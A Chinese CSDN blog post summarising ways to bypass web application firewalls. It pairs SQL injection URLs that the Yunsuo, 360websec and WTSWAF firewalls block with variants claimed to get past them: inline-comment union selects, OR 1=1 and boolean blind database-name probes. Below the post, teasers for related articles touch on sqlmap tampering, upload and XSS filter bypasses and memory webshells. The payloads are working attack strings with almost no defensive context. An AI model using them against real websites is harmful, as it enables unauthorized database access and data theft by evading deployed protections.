绕WAF手法总结

最新推荐文章于 2024-09-10 21:58:05 发布
最新推荐文章于 2024-09-10 21:58:05 发布
阅读量528 收藏 2
点赞数
文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_56537388/article/details/134126824
版权

云锁

被拦截

http://www.test123.com/article.php?id=1%20union%20select%201,2,3

绕过

http://www.test123.com/article.php?id=-1/*!36000union*//*!36000distinct*//*!36000select*/1,2,user()

360websec

被拦截

 http://www.xxx.com.cn/productshow.php?id=79'

绕过

 http://www.xxx.com.cn/productshow.php?id=79%20||%201=1

WTSWAF 

被拦截

 http://www.xxx.com.cn/productshow.php?id=-79%20||%20updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1)

 绕过

http://www.xxx.com.cn/productshow.php?id=-79%20||%20and%20(ascii(substr(database(),1,1))%20=109)

blackK_YC
关注
Waf 绕过手法测试
2401_84466359的博客
06-16 1098
由上到下,waf的检测细腻度依次降低网络层WAF：先拦截流量，进行检测后再转发给应用层WAF：先经过apache/nginx解析后再交给php处理云 WAF（CDN+WAF）：简单的看成CDN加上软件WAF的结合体，既可以抗住DDos攻击，也可以过滤出部分简单的Payload攻击代码，甚至对流量也有一定的清洗作用自定义WAF（自己写的一些规则）在系统后台内置一项安全功能以便管理者使用。
常见的WAF绕过方法
热门推荐
武天旭的博客
02-11 1万+
本篇文章通过网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法 一、网络架构层 一般通过域名指向云WAF地址后反向实现代理，找到这些公司的服务器的真实IP即可实现绕过。 具体方法如下： 1、查找相关的二级域名及同一域名注册者的其他域名解析记录。 2、通过查看邮件MX解析记录来发现真实服务器的IP记录或网段，例如： windows可以执行命令： nslookup -qt=mx baidu.com Linux可以执行如下命令来查看baidu.com域名的MX解析...
waf绕过总结开篇
m0_61786761的博客
09-01 600
单点：tpscan,wpscan,struts2-scan。数据包特征：请求方式，模拟用户，爬虫引擎，白名单机制。请求速度：延时，代理池，爬虫机制，白名单机制。未开cc防护：注意请求方式是否和人工请求时相同。抓包技术，waf说明，fuzzing测试。综合：awvs,xray,appscan。漏洞payload：数据变异，冷门扫描。waf绕过之漏洞发现之代理池指纹识别。扫描速度：延时，代理池，白名单。工具指纹：特征修改，模拟用户。开上cc防护：注意流量监测。
定制SQLmap和WAF绕过
weixin_58954236的博客
09-23 1085
以sqli-lab第26关为例输入?id=1’ --+，报错字符型注入考虑闭合问题，输入?id=1’ and '1，但是回显中and和空格消失了，可知and和空格被过滤了因为and和or被过滤考虑使用双写绕过手段，空格使用其他字符进行代替例如%0a或%a0使用SQLmap扫描，结果无SQL注入漏洞可是明明手动测试存在SQL注入漏洞但是SQLmap竟然没有扫描出来，是因为SQLmap在进行注入的时候没有合适的绕过手法，被过滤掉了，那么就需要我们对SQLmap发送的payload进行编码。
waf绕过之信息收集
矜庄寂寥的博客
12-11 3749
目录绕过手法测试环境安全狗默认防护（不开CC流量防护机制）更改请求头绕过安全狗默认防护（开启CC流量防护机制）1.使用延时扫描绕过2.模拟用户请求绕过总结 绕过手法 测试环境 window server 2003，安全狗v4.0 安全狗默认防护（不开CC流量防护机制） 安全狗配置如下： 使用目录扫描工具进行网站目录扫描 可以看到工具的默认http请求为HEAD请求，且扫出了很多状态码为200的目录 我们进入网站查看 发现扫出的并非为真实存在的目录，从而猜测是被安全狗检测出来了 查看安全狗日志进行验证
SQL注入和WAF绕过总结姿势
有时候，想要一块二向箔
02-23 4696
自己复习专用，大佬勿喷 文章目录前言一、注入手法联合注入报错注入布尔盲注延时注入堆叠注入二、绕过姿势绕过空格注释符括号引号绕过（使用十六进制）逗号绕过（使用from或者offset）总结参考文章 前言 静下心来，学者大佬做点总结 一、注入手法 联合注入 当查询数据会返回显示界面时可以考虑使用union联合查询的方式 1，首先判断是否存在注入 2，然后用 order by 判断有几列数据 ?id = 1' order by 3 %23 3，将id=1改为一个数据库不存在的id值，如-1， 使用uni
文件上传绕过总结
weixin_50464560的博客
08-06 865
上传绕过总结对于常见的上传绕过姿势进行总结。包含WAF绕过、安全狗绕过、黑名单绕过、白名单绕过、阿里云绕过以及多种绕过手法。WAF绕过安全狗绕过1.绕过思路：对文件的内容，数据。数据包进行处理。关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data;2.通过替换大小写来进行绕过Content-Disposition: form-data; name="
常见绕过方法总结
weixin_66839513的博客
03-26 1816
两个空格代替一个空格，用Tab代替空格，%a0=空格。绕过的替代类型：%20 --代表url编码的空格，在空格过滤时可以代替。%09--用于在输出或显示文本时在该位置产生一个固定的水平间距，类似于tab键。%0a--代表换行符%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距，类似于tab键。%0c--%0d--回车换行%a0--代表的是非断行空格%00--%00代表的是ASCII码中的空字符/**/可以将空格字符替换成注释/**/，也可以使用内联注释，/!code。
最实用的CDN绕过-CMS识别-WAF识别技术总结
告白的博客
11-08 3201
0x00 CDN，CMS，WAF简介 1、CDN即内容分发网络，起初是为了提高网络的通讯效率，后被用于IP的隐藏技术。 2、CMS即一个网站的成形开源框架，根据不同的版本不同的种类，可以方便的网站的一站式开发布局，但是使用具有漏洞版本的CMS也对网站有较大的影响。 3、WAF通俗点讲就是网站的保护保镖，保护网站抵御攻击，但是WAF被识别也会给攻击者有相应的攻击手法应对相对应的WAF设备进行绕过。 0x01 CDN绕过方法 （1）冷门dns解析 使用nslookup xxx 8.8.8.8 //参考
门神WAF众测总结.pdf
09-18
二、绕过手法总结 研究人员总结了在WAF智能引擎中常见的绕过手法，主要包括以下两点： 1. 解析器与后端处理逻辑不一致导致的绕过 攻击者利用解析器的缺陷，构造出实际能够执行但语法分析错误或被误认为无害的...
如何使用sqlmap绕过WAF进行SQL注入攻击
WAF（Web 应用程序防火墙）概述 ## 1.1 什么是WAF？ Web 应用程序防火墙（WAF）是一种网络安全设备，用于监控、过滤和阻止 HTTP/HTTPS 请求和响应。它的作用是保护 Web 应用程序免受常见的 Web 安全威胁，如 SQL ...
XSS过滤绕过总结_xss绕过字符过滤
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
08-29 1563
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。...
CMS识别、CDN探测和Waf识别技术总结
记录并分享学习安全的知识点..
01-15 1318
前言： 思考一下渗透测试者在对多个目标进行了资产收集，如同时几千上万个IP，如何快速的从这些资产中进行获取重要的系统或者直接能 RCE 的系统呢？ 一、概述 CMS即一个网站的成形开源框架，根据不同的版本不同的种类，可以方便的网站的一站式开发布局，但是使用具有漏洞版本的CMS也对网站有较大的影响。 CDN的全称是Content Delivery Network，即内容分发网络，起初是为了提高网络的通讯效率，后被用于IP的隐藏技术。 WAF通俗点讲就是网站的保护保镖，保护网站抵御攻击，但是WAF被识别
网站安全需求分析与安全保护工程
weixin_49171105的博客
09-09 758
网站：是基于B/S技术架构的综合信息服务平台，主要提供网页信息及业务后台对外接口服务。
注册安全分析报告：熊猫频道
Explinks的博客
09-10 533
熊猫频道作为央视的子频道， 采用的还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。比如：“需求这么赶，当然是先实现功能啊”，“业务量很小啦，系统就这么点人用，不怕的” ， “我们怎么会被盯上呢，不可能的”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
第146天：内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类
weixin_71529930的博客
09-10 996
然后访问http://ip/，这里会卡住，把之前创建的index文件会被删除，后面的页面是我访问的缓存，同时会产生一个.HH.php文件，这个文件是linux的隐藏文件，但是不知为何，我linux搭建的访问不了，只能这样演示。在我去删除的时候，他又会立刻去创建出来，甚至在我鼠标右键的时候因为这个文件不断地创建，右键页面也不能打开，从时间也可以看出来这个文件，在一直的刷新。后面换成了小迪视频里面的冰蝎版本，视频中问题是木马不能再Upload目录下，这里我试了也不行，所以这个还是有很多的bug的。
首个大模型供应链安全领域的国际标准，WDTA《大模型供应链安全要求》标准解读
银行信息系统应用架构导论
09-10 235
大模型供应链安全要求》标准通过提供供应链各个层面的安全管理要求，为组织构建更加安全的AI生态系统提供了明确的指导。这些模型在带来创新和便利的同时，也伴随着安全风险的增加。《大模型供应链安全要求》提出了大型语言模型（LLMs）的供应链安全保护框架，提出了管理LLMs开发、运营和维护（O&M）中涉及的供应链安全风险和供应活动的要求，并提供了常见的供应链安全风险和典型安全案例等相关信息。对供应商进行严格的选择和持续评估，确保其提供的产品和服务的真实性、完整性和准确性，并防止信息在供应链中被篡改或泄露。
Web3 项目安全手册
最新发布
2301_76786857的博客
09-10 302
现如今针对 Web3 项目的攻击手法层出不穷，且项目之间的交互也越发复杂，在各个项目之间的交互经常会引入新的安全问题，而大部分 Web3 项目研发团队普遍缺少的一线的安全攻防经验，并且在进行 Web3 项目研发的时候，重点关注的是项目整体的商业论证以及业务功能的实现，而没有更多的精力完成安全体系的建设。通常项目方团队为了确保 Web3 项目的安全会聘请优秀的区块链安全团队对其代码进行安全审计，但是区块链安全团队的审计仅仅是短期的引导，并不能让项目方团队建立属于自己的安全体系。
SQL注入绕过WAF策略与技巧解析
当网站部署了Web应用防火墙（WAF）来防止这种攻击时，攻击者会寻找各种技巧来绕过WAF的防护措施，从而实施注入攻击。以下是一些常用的SQL注入绕过WAF的方法： 1. **注入类型**: - GET注入：攻击者通常利用URL参数...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值